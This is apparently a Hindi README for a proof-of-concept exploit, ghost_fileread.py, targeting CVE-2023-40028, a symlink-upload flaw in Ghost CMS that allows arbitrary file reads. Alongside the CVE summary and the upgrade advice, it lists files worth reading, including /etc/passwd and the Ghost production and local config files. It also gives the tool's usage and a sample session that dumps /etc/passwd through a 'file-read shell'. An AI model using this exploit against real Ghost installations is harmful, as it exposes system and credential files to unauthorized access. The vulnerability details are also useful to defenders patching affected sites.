
CVE-2023-40028 के लिए POC: Ghost CMS मनमानी फ़ाइल रीड
यह प्रूफ-ऑफ-कॉन्सेप्ट (POC) CVE-2023-40028 का उपयोग करके Ghost CMS में फ़ाइल-रीड एक्सेस प्राप्त करने के लिए किया जा सकता है।
Ghost एक ओपन सोर्स कंटेंट मैनेजमेंट सिस्टम (CMS) है। 5.59.1 से पहले के संस्करण एक भेद्यता से प्रभावित हैं जो प्रमाणित उपयोगकर्ताओं को सिमलिंक वाली फ़ाइलें अपलोड करने की अनुमति देती है। इसका शोषण करके होस्ट ऑपरेटिंग सिस्टम पर किसी भी फ़ाइल का मनमाना फ़ाइल-रीड किया जा सकता है। साइट प्रशासक Ghost के content/ फ़ोल्डर में अज्ञात सिमलिंक खोजकर इस समस्या के शोषण की जाँच कर सकते हैं। संस्करण 5.59.1 में इस समस्या का समाधान शामिल है। सभी उपयोगकर्ताओं को अपग्रेड करने की सलाह दी जाती है। इस भेद्यता के लिए कोई ज्ञात वर्कअराउंड नहीं हैं।
गंभीरता: 6.5 मध्यम वेक्टर: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
कुछ प्लेनटेक्स्ट गैर-बाइनरी फ़ाइलें जो रुचिकर हो सकती हैं:
/etc/hosts Linux लोकल-DNS समाधान/etc/passwd Linux उपयोगकर्ता खाते/etc/group Linux उपयोगकर्ता समूह/var/lib/ghost/config.local.json Ghost CMS स्थानीय कॉन्फ़िग/var/lib/ghost/config.production.json Ghost CMS प्रोडक्शन कॉन्फ़िगusage: ghost_fileread.py [-h] -t URL [-f FILE] [-u USERNAME] [-p PASSWORD] [-c COOKIE] [-x PROXY] [--timeout TIMEOUT] [-a USERAGENT]
POC for CVE-2023-40028 (Symlink Upload to Arbitrary File Read in Ghost CMS)
options:
-h, --help show this help message and exit
-t URL, --url URL Target Ghost CMS URL (e.g., http://target-ghost-cms)
-f FILE, --file FILE File path to read
-u USERNAME, --username USERNAME
Username for authentication
-p PASSWORD, --password PASSWORD
Password for authentication
-c COOKIE, --cookie COOKIE
Cookie for authentication
-x PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
--timeout TIMEOUT Request timeout
-a USERAGENT, --useragent USERAGENT
User agent to use when sending requests
$ python3 ghost_fileread.py -t http://<url> -u '<username>' -p '<password>'
[*] Checking authentication (username/password) ...
[+] Admin session created successfully.
Welcome to the Ghost file-read shell. Type help or ? to list commands.
file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash